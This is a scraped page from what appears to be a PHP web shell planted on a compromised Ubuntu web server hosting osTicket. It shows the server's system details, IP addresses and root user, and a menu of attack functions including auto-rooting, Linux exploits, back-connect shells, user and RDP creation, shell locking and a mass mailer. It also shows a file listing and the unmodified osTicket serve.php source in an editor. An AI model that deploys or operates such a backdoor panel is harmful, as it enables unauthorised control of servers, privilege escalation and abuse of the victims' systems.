Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
cli /
modules /
[ HOME SHELL ]
Name
Size
Permission
Action
agent.php
6.7
KB
-rw-r--r--
cron.php
730
B
-rw-r--r--
deploy.php
10.96
KB
-rw-r--r--
export.php
2.69
KB
-rw-r--r--
file.php
20.11
KB
-rw-r--r--
i18n.php
27.1
KB
-rw-r--r--
import.php
10.42
KB
-rw-r--r--
list.php
2.98
KB
-rw-r--r--
org.php
2.44
KB
-rw-r--r--
package.php
5.02
KB
-rw-r--r--
serve.php
2.88
KB
-rw-r--r--
unpack.php
9.82
KB
-rw-r--r--
upgrade.php
3.05
KB
-rw-r--r--
user.php
7.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : serve.php
<?php class CliServerModule extends Module { var $prologue = "Run a CLI server for osTicket"; var $options = array( 'port' => array('-p','--port', 'default'=>'8000', 'help'=>'Specify the listening port number. Default is 8000', ), 'host' => array('-h','--host', 'default'=>'localhost', 'help'=>'Specify the bind address. Default is "localhost"', ), ); function make_router() { $temp = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; $router_path = $temp . substr(md5('osticket-router'.getcwd()), -12) . '.php'; // Ensure that the router file is cleaned up on exit $cleanup = function() use ($router_path) { @unlink($router_path); }; if (function_exists('pcntl_signal')) pcntl_signal(SIGINT, $cleanup); // This will very likely not fire register_shutdown_function($cleanup); $fp = fopen($router_path, 'wt'); fwrite($fp, <<<EOF <?php \$full_path = \$_SERVER["DOCUMENT_ROOT"] . \$_SERVER["REQUEST_URI"]; # Ensure trailing slash on folders if (is_dir(\$full_path) && rtrim(\$full_path, '/') == \$full_path ) { header("Location: " . \$_SERVER["REQUEST_URI"] . '/'); } elseif (file_exists(\$_SERVER['SCRIPT_FILENAME'])) { return false; } // Support various dispatchers elseif (\$offs = stripos(\$_SERVER["REQUEST_URI"], 'scp/apps/')) { \$_SERVER["PATH_INFO"] = substr(\$_SERVER["REQUEST_URI"], \$offs + 8); chdir('scp/'); require "apps/dispatcher.php"; } elseif (\$offs = stripos(\$_SERVER["REQUEST_URI"], 'pages/')) { \$_SERVER["PATH_INFO"] = substr(\$_SERVER["REQUEST_URI"], \$offs + 5); require "pages/index.php"; } elseif (\$offs = stripos(\$_SERVER["REQUEST_URI"], 'api/')) { \$_SERVER["PATH_INFO"] = substr(\$_SERVER["REQUEST_URI"], \$offs + 3); require "api/http.php"; } EOF ); fclose($fp); return $router_path; } function run($args, $options) { $router = $this->make_router(); $pipes = array(); $php = proc_open( sprintf("php -S %s:%s -t %s %s", $options['host'], $options['port'], ROOT_DIR, $router), array( 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ), $pipes); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); while (true) { if (feof($pipes[1]) || feof($pipes[2])) { fclose($pipes[1]); fclose($pipes[2]); break; } if ($block = fgets($pipes[1], 1024)) fwrite(STDOUT, $block); if ($block = fgets($pipes[2], 1024)) fwrite(STDERR, $block); usleep(100); } } } Module::register('serve', 'CliServerModule');
Close